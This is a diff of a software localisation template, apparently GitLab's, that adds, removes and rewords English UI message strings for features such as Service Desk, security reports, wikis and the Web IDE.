@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
